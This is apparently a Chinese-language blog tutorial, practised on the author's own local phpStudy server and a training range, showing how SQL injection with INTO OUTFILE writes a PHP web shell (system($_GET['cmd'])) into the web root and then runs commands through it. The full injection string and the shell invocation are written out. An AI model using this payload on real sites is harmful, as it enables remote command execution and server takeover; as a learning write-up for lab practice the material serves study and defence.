通过sqli进行服务器的远程控制的操作

通过sql inject漏洞写入恶意代码需要三个前提:
1.需要知道远程目录,就是你的用PHP语言写的网站的那个存放PHP文件的路径,我的是在这里E:\phpstudy\PHPTutorial\WWW。关于这个路径,我在这里详细说一下,对于小小白,有基础的请跳过这段。

这个目录是我们本地服务器访问的目录,比如,我在我的这个目录下新建了一个PHP文件,名字叫helloworld,然后我在这个PHP文件中写这样一段代码
在这里插入图片描述
然后在我的浏览器地址上输入:
127.0.0.1/helloworld.php
这里的127.0.0.1/就相当于我的E:\phpstudy\PHPTutorial\WWW,在这个目录下打开helloworld.php文件,并执行里边的代码!
效果如下图:

在这里插入图片描述
这里说这个的意思就是,这个就是通过sqli进行服务器的远程控制的原理,在这个目录中的PHP文件HTML文件或者其他类似的文件,你可以从网页上访问到,并且!并且执行里边的代码!!!


2.需要远程目录有些权限
目前来说很多的网站的应用程序是没有写的权限的,这保护了我们的信息。
我用的是firefox火狐浏览器,这个浏览器目前可以。
这里说一下相对应的语句:

select "你想要写入并且让目标计算机执行的代码" into outfile "上面说的那个目录,目标计算机的那个目录"

3.目标计算机数据库开启secure_file_priv
应为我们是以我们自己的计算机作为目标计算机,所以,我们找到在MySQL目录下的my配置文件(这个配置文件有不同的后缀,我的是INI,有的是cnf)在这个配置文件中添加一行新的代码:
secure_file_priv=
如下图:
在这里插入图片描述
输入完后记得保存,还有,重启服务器!
然后从该图的右边可以看到,在数据库中输入:
show global variables like ‘%secure%’
secure_file_priv的右边从NULL变成了 空 。OK,第三个条件也满足了。
如果没有开启这个,则会出现这个情况:
在这里插入图片描述


实际操作
1.首先现在页面输入我们构造的sql语句:

kobe' union select "<?php system($_GET['cmd'])?>",2 into outfile "E:/phpstudy/PHPTutorial/WWW/virus.php"#

(我选择的是字符型注入的训练靶场)
提交给前端得到:在这里插入图片描述这里虽然warming,但是它已经执行了这个操作:(在最下面)
在这里插入图片描述
我们打开相对应的目录:
在这里插入图片描述

看到没,我们上面写的virus.php文件出现了,在此之前本文件夹里是没有的!

这里说一个小问题:如果该目录已经存在同样的文件,那么他会这样:
在这里插入图片描述

因为我的语句是

kobe' union select "<?php system($_GET['cmd'])?>",2 into outfile "E:/phpstudy/PHPTutorial/WWW/virus.php"#

所以我现在可以通过网页来操作目标计算机的cmd命令行了!!
对应的地址(语句)为:
127.0.0.1/virus.php?cmd=ipconfig

效果图:
在这里插入图片描述
从上图可以看到,在网页上输入的语句得到的信息和在目标计算机的cmd上输入的语句得到的信息是完全一样的!


有一个需要注意的地方,那个如果路径里边的斜杠是正斜杠,而直接从路径上复制下来的是反斜杠,这里需要更改一下。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值